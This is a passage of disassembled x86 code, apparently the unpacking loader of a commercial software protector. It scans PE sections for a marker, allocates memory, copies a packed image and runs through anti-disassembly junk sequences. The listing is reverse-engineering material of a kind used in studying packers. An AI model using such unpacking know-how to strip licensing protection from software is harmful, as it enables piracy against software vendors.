eax, [ebp+var_50] push eax ; int mov ecx, [ebp+Src] push ecx ; Src call sub_4B4965 add esp, 0Ch mov [ebp+Src], eax cmp [ebp+Src], 0 jnz short loc_4B46D7 xor eax, eax jmp loc_4B48A9 ; --------------------------------------------------------------------------- loc_4B46D7: ; CODE XREF: sub_4B45FB+D3j mov edx, [ebp+Src] push edx call loc_4B4D00 add esp, 4 mov [ebp+Src], eax cmp [ebp+Src], 0 jnz short loc_4B46F3 xor eax, eax jmp loc_4B48A9 ; --------------------------------------------------------------------------- loc_4B46F3: ; CODE XREF: sub_4B45FB+EFj push 0 push 1 mov eax, dword_4F4364 push eax call dword_4F4368 test eax, eax jnz short loc_4B4718 mov dword_4F4370, 5 xor eax, eax jmp loc_4B48A9 ; --------------------------------------------------------------------------- loc_4B4718: ; CODE XREF: sub_4B45FB+10Aj push offset aSetfunctionadd ; "SetFunctionAddresses" mov ecx, dword_4F4364 push ecx call sub_4B55B0 add esp, 8 mov [ebp+var_58], eax lea edx, [ebp+var_C] push edx lea eax, [ebp+var_44] push eax lea ecx, [ebp+var_40] push ecx mov edx, dword_4ED414 xor edx, dword_4ED41C xor edx, dword_4ED3FC xor edx, dword_4ED420 push edx push offset sub_4B6828 push offset sub_4B45E9 push offset sub_4B6BB7 push offset sub_490FB0 push offset sub_49034E push offset sub_48FF4B push offset sub_48FEF2 push offset sub_48FED8 push offset sub_48F7F0 mov eax, dword_4F4480 push eax call [ebp+var_58] add esp, 38h mov ecx, [ebp+var_40] mov [ebp+var_10], ecx mov edx, [ebp+var_44] mov dword_4F4158, edx mov eax, [ebp+var_C] mov dword_4F4154, eax mov [ebp+var_8], 0 mov ecx, [ebp+var_48] and ecx, 0FFh test ecx, ecx jz short loc_4B47C1 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4B47C1: ; CODE XREF: sub_4B45FB+1BBj xor eax, eax mov al, byte_4F4488 test eax, eax jz short loc_4B47DB mov ecx, [ebp+var_8] or ecx, 2 mov [ebp+var_8], ecx call dword_4ED064 ; FreeConsole loc_4B47DB: ; CODE XREF: sub_4B45FB+1CFj xor edx, edx mov dl, byte_4F4488 test edx, edx jz short loc_4B47FE cmp [ebp+var_50], 0 jz short loc_4B47FE mov eax, [ebp+var_50] push eax call dword_4ED228 ; DestroyWindow mov [ebp+var_50], 0 loc_4B47FE: ; CODE XREF: sub_4B45FB+1EAj ; sub_4B45FB+1F0j mov [ebp+var_3C], offset dword_4F4370 mov [ebp+var_38], offset byte_4F4374 mov [ebp+var_34], offset dword_4ED3A8 mov ecx, [ebp+Src] mov [ebp+var_30], ecx mov edx, [ebp+var_4C] mov [ebp+var_2C], edx mov eax, dword_4F4484 mov [ebp+var_28], eax lea ecx, [ebp+var_8] mov [ebp+var_24], ecx mov [ebp+var_20], offset byte_4F415C cmp dword_4F4130, 2 jnz short loc_4B4848 mov edx, dword_4F414C mov [ebp+var_5C], edx jmp short loc_4B4853 ; --------------------------------------------------------------------------- loc_4B4848: ; CODE XREF: sub_4B45FB+240j push 0 call dword_4ED050 ; GetModuleHandleA mov [ebp+var_5C], eax loc_4B4853: ; CODE XREF: sub_4B45FB+24Bj mov eax, [ebp+var_5C] mov [ebp+var_1C], eax mov ecx, dword_4ED3A4 mov [ebp+var_18], ecx mov [ebp+var_14], 0FFFFFFFFh lea edx, [ebp+var_3C] push edx call [ebp+var_10] add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_14], 0FFFFFFFFh jz short loc_4B4886 mov eax, [ebp+var_14] mov dword_4F473C, eax jmp short loc_4B4896 ; --------------------------------------------------------------------------- loc_4B4886: ; CODE XREF: sub_4B45FB+27Fj cmp [ebp+var_4], 1 jz short loc_4B4896 mov dword_4F473C, 1 loc_4B4896: ; CODE XREF: sub_4B45FB+289j ; sub_4B45FB+28Fj cmp [ebp+var_50], 0 jz short loc_4B48A6 mov ecx, [ebp+var_50] push ecx call dword_4ED228 ; DestroyWindow loc_4B48A6: ; CODE XREF: sub_4B45FB+29Fj mov eax, [ebp+var_4] loc_4B48A9: ; CODE XREF: sub_4B45FB+3Dj ; sub_4B45FB+D7j ... mov esp, ebp pop ebp retn sub_4B45FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B48AD proc near ; CODE XREF: sub_4B45FB+23p Buf1 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h mov eax, dword_4F4480 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4B48C8 xor eax, eax jmp loc_4B4961 ; --------------------------------------------------------------------------- loc_4B48C8: ; CODE XREF: sub_4B48AD+12j mov ecx, [ebp+var_14] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_14] add eax, [edx+3Ch] mov [ebp+var_1C], eax mov ecx, [ebp+var_1C] add ecx, 0F8h mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov [ebp+var_18], edx mov eax, [ebp+var_1C] xor ecx, ecx mov cx, [eax+6] mov [ebp+var_4], ecx mov [ebp+var_8], 0 jmp short loc_4B4913 ; --------------------------------------------------------------------------- loc_4B4901: ; CODE XREF: sub_4B48AD:loc_4B4933j ; sub_4B48AD:loc_4B495Dj mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_18] add eax, 28h mov [ebp+var_18], eax loc_4B4913: ; CODE XREF: sub_4B48AD+52j mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jge short loc_4B495F mov edx, [ebp+var_18] mov eax, [edx+24h] and eax, 40000000h test eax, eax jz short loc_4B4933 mov ecx, [ebp+var_18] cmp dword ptr [ecx+10h], 8 jnb short loc_4B4935 loc_4B4933: ; CODE XREF: sub_4B48AD+7Bj jmp short loc_4B4901 ; --------------------------------------------------------------------------- loc_4B4935: ; CODE XREF: sub_4B48AD+84j mov edx, [ebp+var_18] mov eax, [ebp+var_14] add eax, [edx+0Ch] mov [ebp+Buf1], eax push 8 ; Size push offset aPdata000 ; "PDATA000" mov ecx, [ebp+Buf1] push ecx ; Buf1 call _memcmp_0 add esp, 0Ch test eax, eax jnz short loc_4B495D mov eax, [ebp+Buf1] jmp short loc_4B4961 ; --------------------------------------------------------------------------- loc_4B495D: ; CODE XREF: sub_4B48AD+A9j jmp short loc_4B4901 ; --------------------------------------------------------------------------- loc_4B495F: ; CODE XREF: sub_4B48AD+6Cj xor eax, eax loc_4B4961: ; CODE XREF: sub_4B48AD+16j ; sub_4B48AD+AEj mov esp, ebp pop ebp retn sub_4B48AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4B4965(void *Src,int,int) sub_4B4965 proc near ; CODE XREF: sub_4B45FB+C4p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push edi mov eax, [ebp+arg_4] mov dword ptr [eax], 0 mov ecx, [ebp+Src] mov dl, [ecx] mov [ebp+var_4], dl mov eax, [ebp+Src] add eax, 1 mov [ebp+Src], eax movsx ecx, [ebp+var_4] cmp ecx, 1 jnz short loc_4B49B3 mov edx, [ebp+arg_8] and edx, 0FFh test edx, edx jnz short loc_4B49AE push 0 call sub_4B6060 add esp, 4 mov ecx, [ebp+arg_4] mov [ecx], eax loc_4B49AE: ; CODE XREF: sub_4B4965+38j jmp loc_4B4B40 ; --------------------------------------------------------------------------- loc_4B49B3: ; CODE XREF: sub_4B4965+2Bj movsx edx, [ebp+var_4] cmp edx, 2 jz short loc_4B49C9 movsx eax, [ebp+var_4] cmp eax, 3 jnz loc_4B4B40 loc_4B49C9: ; CODE XREF: sub_4B4965+55j mov ecx, [ebp+Src] xor edx, edx mov dx, [ecx] mov dword_4F4494, edx mov eax, [ebp+Src] add eax, 2 mov [ebp+Src], eax mov ecx, [ebp+Src] mov edx, [ecx] mov [ebp+var_114], edx mov eax, [ebp+Src] add eax, 4 mov [ebp+Src], eax mov ecx, [ebp+var_114] add ecx, 10000h push ecx call sub_4C85E1 add esp, 4 mov [ebp+var_11C], eax mov edx, [ebp+var_11C] mov [ebp+var_110], edx mov eax, [ebp+var_110] mov [ebp+var_8], eax loc_4B4A24: ; CODE XREF: sub_4B4965+10Ej mov ecx, 1 test ecx, ecx jz short loc_4B4A75 mov edx, [ebp+var_114] add edx, 10000h mov [ebp+var_C], edx push 0 ; int lea eax, [ebp+var_C] push eax ; int mov ecx, [ebp+var_8] push ecx ; int mov edx, [ebp+Src] push edx ; Src call sub_4B4BB9 add esp, 10h mov [ebp+Src], eax cmp [ebp+Src], 0 jnz short loc_4B4A62 xor eax, eax jmp loc_4B4BB4 ; --------------------------------------------------------------------------- loc_4B4A62: ; CODE XREF: sub_4B4965+F4j cmp [ebp+var_C], 0 jnz short loc_4B4A6A jmp short loc_4B4A75 ; --------------------------------------------------------------------------- loc_4B4A6A: ; CODE XREF: sub_4B4965+101j mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax jmp short loc_4B4A24 ; --------------------------------------------------------------------------- loc_4B4A75: ; CODE XREF: sub_4B4965+C6j ; sub_4B4965+103j mov cl, byte_4F4120 mov [ebp+var_10C], cl mov ecx, 3Fh xor eax, eax lea edi, [ebp+var_10B] rep stosd stosw stosb push 100h lea edx, [ebp+var_10C] push edx push offset aArmsplashoff ; "ARMSPLASHOFF" call dword_4ED068 ; GetEnvironmentVariableA test eax, eax jnz short loc_4B4AB7 mov [ebp+var_10C], 0 jmp short loc_4B4ADE ; --------------------------------------------------------------------------- loc_4B4AB7: ; CODE XREF: sub_4B4965+147j movsx eax, [ebp+var_10C] cmp eax, 30h jz short loc_4B4ACE movsx ecx, [ebp+var_10C] test ecx, ecx jnz short loc_4B4AD7 loc_4B4ACE: ; CODE XREF: sub_4B4965+15Cj mov [ebp+var_10C], 0 jmp short loc_4B4ADE ; --------------------------------------------------------------------------- loc_4B4AD7: ; CODE XREF: sub_4B4965+167j mov [ebp+var_10C], 1 loc_4B4ADE: ; CODE XREF: sub_4B4965+150j ; sub_4B4965+170j movsx edx, [ebp+var_10C] test edx, edx jnz short loc_4B4B25 mov eax, [ebp+arg_8] and eax, 0FFh test eax, eax jnz short loc_4B4B25 cmp dword_4F4484, 8 jz short loc_4B4B25 cmp dword_4F4484, 9 jz short loc_4B4B25 push 0 movsx ecx, [ebp+var_4] xor edx, edx cmp ecx, 3 setz dl push edx mov eax, [ebp+var_110] push eax call sub_4B6BB7 add esp, 0Ch loc_4B4B25: ; CODE XREF: sub_4B4965+182j ; sub_4B4965+18Ej ... mov ecx, [ebp+var_110] mov [ebp+var_120], ecx mov edx, [ebp+var_120] push edx call sub_4C85D6 add esp, 4 loc_4B4B40: ; CODE XREF: sub_4B4965:loc_4B49AEj ; sub_4B4965+5Ej ... mov eax, [ebp+Src] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4B4BA8 mov edx, [ebp+Src] add edx, 1 mov [ebp+Src], edx mov eax, [ebp+Src] add eax, 4 mov [ebp+Src], eax loc_4B4B5C: ; CODE XREF: sub_4B4965:loc_4B4BA4j mov ecx, 1 test ecx, ecx jz short loc_4B4BA6 mov edx, [ebp+Src] mov eax, [edx] mov [ebp+var_118], eax mov ecx, [ebp+Src] add ecx, 4 mov [ebp+Src], ecx mov edx, [ebp+var_118] and edx, 7FFFFFFFh mov [ebp+var_118], edx cmp [ebp+var_118], 0 jz short loc_4B4BA2 mov eax, [ebp+Src] add eax, [ebp+var_118] mov [ebp+Src], eax jmp short loc_4B4BA4 ; --------------------------------------------------------------------------- loc_4B4BA2: ; CODE XREF: sub_4B4965+22Dj jmp short loc_4B4BA6 ; --------------------------------------------------------------------------- loc_4B4BA4: ; CODE XREF: sub_4B4965+23Bj jmp short loc_4B4B5C ; --------------------------------------------------------------------------- loc_4B4BA6: ; CODE XREF: sub_4B4965+1FEj ; sub_4B4965:loc_4B4BA2j jmp short loc_4B4B40 ; --------------------------------------------------------------------------- loc_4B4BA8: ; CODE XREF: sub_4B4965+1E3j mov ecx, [ebp+Src] add ecx, 1 mov [ebp+Src], ecx mov eax, [ebp+Src] loc_4B4BB4: ; CODE XREF: sub_4B4965+F8j pop edi mov esp, ebp pop ebp retn sub_4B4965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4B4BB9(void *Src,int,int,int) sub_4B4BB9 proc near ; CODE XREF: sub_4B4965+E5p ; .text:004B4DCFp var_14 = dword ptr -14h var_10 = dword ptr -10h Dst = dword ptr -0Ch var_8 = dword ptr -8 Size = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h mov byte ptr [ebp+var_8], 0 mov eax, [ebp+Src] mov ecx, [eax] mov [ebp+Size], ecx mov edx, [ebp+Src] add edx, 4 mov [ebp+Src], edx mov eax, [ebp+Size] and eax, 80000000h test eax, eax jz short loc_4B4BF0 mov ecx, [ebp+Size] and ecx, 7FFFFFFFh mov [ebp+Size], ecx mov byte ptr [ebp+var_8], 1 loc_4B4BF0: ; CODE XREF: sub_4B4BB9+25j cmp [ebp+Size], 0 jz loc_4B4CF1 cmp [ebp+arg_4], 0 jz loc_4B4CE8 mov edx, [ebp+var_8] and edx, 0FFh test edx, edx jnz loc_4B4CAD mov eax, [ebp+Size] add eax, 100h push eax call sub_4C85E1 add esp, 4 mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+Dst], ecx mov edx, [ebp+Size] push edx ; Size mov eax, [ebp+Src] push eax ; Src mov ecx, [ebp+Dst] push ecx ; Dst call _memcpy_1 add esp, 0Ch mov edx, [ebp+Src] add edx, [ebp+Size] mov [ebp+Src], edx cmp [ebp+arg_C], 0 jz short loc_4B4C68 push 0 mov eax, [ebp+Size] push eax mov ecx, [ebp+Dst] push ecx mov edx, [ebp+arg_C] push edx call sub_490F38 add esp, 10h loc_4B4C68: ; CODE XREF: sub_4B4BB9+97j mov eax, [ebp+arg_8] mov ecx, [eax] push ecx ; int mov edx, [ebp+Size] push edx ; Size mov eax, [ebp+arg_4] push eax ; Dst mov ecx, [ebp+Dst] push ecx ; int call sub_49034E add esp, 10h mov [ebp+Size], eax cmp [ebp+Size], 0 jnz short loc_4B4C99 mov dword_4F4370, 0 xor eax, eax jmp short loc_4B4CFC ; --------------------------------------------------------------------------- loc_4B4C99: ; CODE XREF: sub_4B4BB9+D0j mov edx, [ebp+Dst] mov [ebp+var_14], edx mov eax, [ebp+var_14] push eax call sub_4C85D6 add esp, 4 jmp short loc_4B4CE6 ; --------------------------------------------------------------------------- loc_4B4CAD: ; CODE XREF: sub_4B4BB9+56j mov ecx, [ebp+Size] loc_4B4CB0: ; CODE XREF: .text:loc_4B4D27j push ecx ; Size mov edx, [ebp+Src] push edx ; Src mov eax, [ebp+arg_4] push eax ; Dst call _memcpy_1 add esp, 0Ch mov ecx, [ebp+Src] add ecx, [ebp+Size] mov [ebp+Src], ecx cmp [ebp+arg_C], 0 jz short loc_4B4CE6 push 0 mov edx, [ebp+Size] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_C] push ecx call sub_490F38 add esp, 10h loc_4B4CE6: ; CODE XREF: sub_4B4BB9+F2j ; sub_4B4BB9+115j jmp short loc_4B4CF1 ; --------------------------------------------------------------------------- loc_4B4CE8: ; CODE XREF: sub_4B4BB9+45j mov edx, [ebp+Src] add edx, [ebp+Size] mov [ebp+Src], edx loc_4B4CF1: ; CODE XREF: sub_4B4BB9+3Bj ; sub_4B4BB9:loc_4B4CE6j mov eax, [ebp+arg_8] mov ecx, [ebp+Size] mov [eax], ecx mov eax, [ebp+Src] loc_4B4CFC: ; CODE XREF: sub_4B4BB9+DEj mov esp, ebp pop ebp retn sub_4B4BB9 endp ; --------------------------------------------------------------------------- loc_4B4D00: ; CODE XREF: sub_4B45FB+E0p push ebp mov ebp, esp sub esp, 68h push ebx push esi push edi pusha xor eax, eax jnz short loc_4B4D10 jmp short loc_4B4D25 ; --------------------------------------------------------------------------- loc_4B4D10: ; CODE XREF: .text:004B4D0Cj jmp short loc_4B4D45 ; --------------------------------------------------------------------------- dw 75C0h ; --------------------------------------------------------------------------- sbb [edx+0Ch], bh loc_4B4D17: ; CODE XREF: .text:loc_4B4D25j jo short loc_4B4D27 jmp short near ptr loc_4B4D27+1 ; --------------------------------------------------------------------------- db 0E8h dd 0F1790E72h, 790015FFh db 9 ; --------------------------------------------------------------------------- loc_4B4D25: ; CODE XREF: .text:004B4D0Ej jz short loc_4B4D17 loc_4B4D27: ; CODE XREF: .text:loc_4B4D17j ; .text:004B4D19j jmp short loc_4B4CB0 ; --------------------------------------------------------------------------- fstp tbyte ptr [edx-10h] mov al, ds:458B6133h or [ebx-7B276F8h], cl push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx loc_4B4D45: ; CODE XREF: .text:loc_4B4D10j mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B4D5A loc_4B4D57: ; CODE XREF: .text:004B4D78j jmp short near ptr loc_4B4D7A+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B4D5A: ; CODE XREF: .text:004B4D55j xor ebx, ebx jz short $+2 jmp short loc_4B4D6D ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B4D63: ; CODE XREF: .text:004B4D6Fj mov ecx, 34F9C987h nop stc jz short loc_4B4D71 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B4D6D: ; CODE XREF: .text:004B4D5Ej xor eax, eax jz short loc_4B4D63 loc_4B4D71: ; CODE XREF: .text:004B4D6Aj mov eax, 4840C987h test eax, eax jnz short loc_4B4D57 loc_4B4D7A: ; CODE XREF: .text:loc_4B4D57j jmp near ptr 92B1EAE0h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov edx, [ebp+8] add edx, 4 mov [ebp+8], edx jo short loc_4B4D95 jl short loc_4B4D93 loc_4B4D90: ; CODE XREF: .text:loc_4B4D93j ; .text:loc_4B4D95j jmp short loc_4B4D97 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B4D93: ; CODE XREF: .text:004B4D8Ej jz short loc_4B4D90 loc_4B4D95: ; CODE XREF: .text:004B4D8Cj jmp short loc_4B4D90 ; --------------------------------------------------------------------------- loc_4B4D97: ; CODE XREF: .text:loc_4B4D90j mov eax, [ebp-8] push eax call sub_4C85E1 add esp, 4 mov [ebp-64h], eax mov ecx, [ebp-64h] mov [ebp-30h], ecx mov edx, [ebp-30h] mov [ebp-4], edx loc_4B4DB2: ; CODE XREF: .text:004B4DF8j mov eax, 1 test eax, eax jz short loc_4B4DFA mov ecx, [ebp-8] mov [ebp-38h], ecx push 0 lea edx, [ebp-38h] push edx mov eax, [ebp-4] push eax mov ecx, [ebp+8] push ecx call sub_4B4BB9 add esp, 10h mov [ebp+8], eax cmp dword ptr [ebp+8], 0 jnz short loc_4B4DE7 loc_4B4DE0: ; CODE XREF: .text:004B4E4Ej xor eax, eax jmp loc_4B528C ; --------------------------------------------------------------------------- loc_4B4DE7: ; CODE XREF: .text:004B4DDEj cmp dword ptr [ebp-38h], 0 jnz short loc_4B4DEF jmp short loc_4B4DFA ; --------------------------------------------------------------------------- loc_4B4DEF: ; CODE XREF: .text:004B4DEBj mov edx, [ebp-4] add edx, [ebp-38h] mov [ebp-4], edx jmp short loc_4B4DB2 ; --------------------------------------------------------------------------- loc_4B4DFA: ; CODE XREF: .text:004B4DB9j ; .text:004B4DEDj mov eax, [ebp-30h] mov [ebp-1Ch], eax mov ecx, [ebp-1Ch] mov edx, [ebp-30h] add edx, [ecx+3Ch] mov [ebp-34h], edx mov eax, [ebp-34h] add eax, 4 mov [ebp-2Ch], eax mov ecx, [ebp-34h] add ecx, 18h mov [ebp-28h], ecx mov edx, [ebp-34h] add edx, 0F8h mov [ebp-18h], edx mov eax, [ebp-28h] mov ecx, [eax+1Ch] mov [ebp-24h], ecx push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4B4E6A ; CODE XREF: .text:loc_4B4E6Aj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B4E42: ; CODE XREF: .text:004B4E63j jmp short loc_4B4E61 ; --------------------------------------------------------------------------- loc_4B4E44: ; CODE XREF: .text:loc_4B4E61j xor ecx, ecx loc_4B4E46: ; CODE XREF: .text:004B4E55j jz short $+2 jmp short loc_4B4E5A ; --------------------------------------------------------------------------- loc_4B4E4A: ; CODE XREF: .text:004B4E5Ej stc xor ecx, 3 jz short loc_4B4DE0 jmp short loc_4B4E57 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B4E53: ; CODE XREF: .text:loc_4B4E57j jmp short loc_4B4E65 ; --------------------------------------------------------------------------- jz short loc_4B4E46 loc_4B4E57: ; CODE XREF: .text:004B4E50j jnb short loc_4B4E53 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B4E5A: ; CODE XREF: .text:004B4E48j sbb bl, bl xor ebx, ebx jmp short loc_4B4E4A ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B4E61: ; CODE XREF: .text:loc_4B4E42j jmp short loc_4B4E44 ; --------------------------------------------------------------------------- jmp short loc_4B4E42 ; --------------------------------------------------------------------------- loc_4B4E65: ; CODE XREF: .text:loc_4B4E53j repne sbb al, 0DBh jmp short loc_4B4E6D ; --------------------------------------------------------------------------- loc_4B4E6A: ; CODE XREF: .text:004B4E3Dj jmp short near ptr loc_4B4E3D+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B4E6D: ; CODE XREF: .text:004B4E68j popa popf bswap eax not ecx bswap eax not ecx mov edx, [ebp-28h] mov eax, [edx+38h] mov [ebp-10h], eax push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax ; CODE XREF: .text:loc_4B4F0Cj pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B4EA3 loc_4B4EA0: ; CODE XREF: .text:004B4EC1j jmp short near ptr loc_4B4EC3+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B4EA3: ; CODE XREF: .text:004B4E9Ej xor ebx, ebx jz short $+2 jmp short loc_4B4EB6 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B4EAC: ; CODE XREF: .text:004B4EB8j mov ecx, 34F9C987h nop stc jz short loc_4B4EBA ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B4EB6: ; CODE XREF: .text:004B4EA7j xor eax, eax jz short loc_4B4EAC loc_4B4EBA: ; CODE XREF: .text:004B4EB3j mov eax, 4840C987h test eax, eax jnz short loc_4B4EA0 loc_4B4EC3: ; CODE XREF: .text:loc_4B4EA0j jmp near ptr 92B1EC29h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax push 4 push 1000h mov ecx, [ebp-10h] loc_4B4ED6: ; CODE XREF: .text:004B4F44j push ecx mov edx, [ebp-24h] push edx call dword_4ED070 ; VirtualAlloc mov [ebp-20h], eax cmp dword ptr [ebp-20h], 0 jnz loc_4B4F83 pusha xor eax, eax jnz short loc_4B4EF5 jmp short loc_4B4F0A ; --------------------------------------------------------------------------- loc_4B4EF5: ; CODE XREF: .text:004B4EF1j jmp short loc_4B4F2A ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4B4EFC: ; CODE XREF: .text:loc_4B4F0Aj jo short loc_4B4F0C jmp short near ptr loc_4B4F0C+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4B4F13 loc_4B4F0A: ; CODE XREF: .text:004B4EF3j jz short loc_4B4EFC loc_4B4F0C: ; CODE XREF: .text:loc_4B4EFCj ; .text:004B4EFEj jmp short near ptr loc_4B4E94+1 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4B4F13: ; CODE XREF: .text:004B4F08j popa mov eax, [ebp-28h] cmp dword ptr [eax+5Ch], 5 jbe short loc_4B4F83 mov ecx, [ebp-28h] cmp dword ptr [ecx+88h], 0 jz short loc_4B4F83 push eax loc_4B4F2A: ; CODE XREF: .text:loc_4B4EF5j not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4B4F60 ; CODE XREF: .text:loc_4B4F60j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B4F38: ; CODE XREF: .text:004B4F59j jmp short loc_4B4F57 ; --------------------------------------------------------------------------- loc_4B4F3A: ; CODE XREF: .text:loc_4B4F57j xor ecx, ecx loc_4B4F3C: ; CODE XREF: .text:004B4F4Bj jz short $+2 jmp short loc_4B4F50 ; --------------------------------------------------------------------------- loc_4B4F40: ; CODE XREF: .text:004B4F54j stc xor ecx, 3 jz short loc_4B4ED6 jmp short loc_4B4F4D ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B4F49: ; CODE XREF: .text:loc_4B4F4Dj jmp short loc_4B4F5B ; --------------------------------------------------------------------------- jz short loc_4B4F3C loc_4B4F4D: ; CODE XREF: .text:004B4F46j jnb short loc_4B4F49 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B4F50: ; CODE XREF: .text:004B4F3Ej sbb bl, bl xor ebx, ebx jmp short loc_4B4F40 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B4F57: ; CODE XREF: .text:loc_4B4F38j jmp short loc_4B4F3A ; --------------------------------------------------------------------------- jmp short loc_4B4F38 ; --------------------------------------------------------------------------- loc_4B4F5B: ; CODE XREF: .text:loc_4B4F49j repne sbb al, 0DBh jmp short loc_4B4F63 ; --------------------------------------------------------------------------- loc_4B4F60: ; CODE XREF: .text:004B4F33j jmp short near ptr loc_4B4F33+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B4F63: ; CODE XREF: .text:004B4F5Ej popa popf bswap eax not ecx bswap eax not ecx push 4 push 1000h mov edx, [ebp-10h] push edx push 0 call dword_4ED070 ; VirtualAlloc mov [ebp-20h], eax loc_4B4F83: ; CODE XREF: .text:004B4EE8j ; .text:004B4F1Bj ... cmp dword ptr [ebp-20h], 0 jnz short loc_4B4F9A mov dword_4F4370, 2 xor eax, eax jmp loc_4B528C ; --------------------------------------------------------------------------- loc_4B4F9A: ; CODE XREF: .text:004B4F87j mov eax, [ebp-28h] mov ecx, [eax+3Ch] push ecx mov edx, [ebp-30h] push edx mov eax, [ebp-20h] push eax call _memcpy_1 add esp, 0Ch jo short loc_4B4FBA jl short loc_4B4FB8 loc_4B4FB5: ; CODE XREF: .text:loc_4B4FB8j ; .text:loc_4B4FBAj jmp short loc_4B4FBC ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B4FB8: ; CODE XREF: .text:004B4FB3j jz short loc_4B4FB5 loc_4B4FBA: ; CODE XREF: .text:004B4FB1j jmp short loc_4B4FB5 ; --------------------------------------------------------------------------- loc_4B4FBC: ; CODE XREF: .text:loc_4B4FB5j mov ecx, [ebp-18h] mov [ebp-0Ch], ecx mov edx, [ebp-2Ch] xor eax, eax mov ax, [edx+2] imul eax, 28h mov ecx, [ebp-0Ch] add ecx, eax mov [ebp-14h], ecx loc_4B4FD6: ; CODE XREF: .text:004B5030j mov edx, [ebp-0Ch] cmp edx, [ebp-14h] jnb short loc_4B5032 pusha xor eax, eax jnz short loc_4B4FE5 jmp short loc_4B4FFA ; --------------------------------------------------------------------------- loc_4B4FE5: ; CODE XREF: .text:004B4FE1j jmp short loc_4B501A ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; CODE XREF: .text:004B5059j ; --------------------------------------------------------------------------- loc_4B4FEC: ; CODE XREF: .text:loc_4B4FFAj jo short loc_4B4FFC jmp short near ptr loc_4B4FFC+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4B5003 loc_4B4FFA: ; CODE XREF: .text:004B4FE3j jz short loc_4B4FEC loc_4B4FFC: ; CODE XREF: .text:loc_4B4FECj ; .text:004B4FEEj jmp short near ptr loc_4B4F83+2 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4B5003: ; CODE XREF: .text:004B4FF8j popa mov eax, [ebp-0Ch] mov ecx, [eax+10h] push ecx mov edx, [ebp-0Ch] mov eax, [ebp-30h] add eax, [edx+14h] push eax mov ecx, [ebp-0Ch] ; --------------------------------------------------------------------------- db 8Bh, 55h ; --------------------------------------------------------------------------- loc_4B501A: ; CODE XREF: .text:loc_4B4FE5j loopne loc_4B501F push ecx or al, 52h loc_4B501F: ; CODE XREF: .text:loc_4B501Aj call _memcpy_1 add esp, 0Ch mov eax, 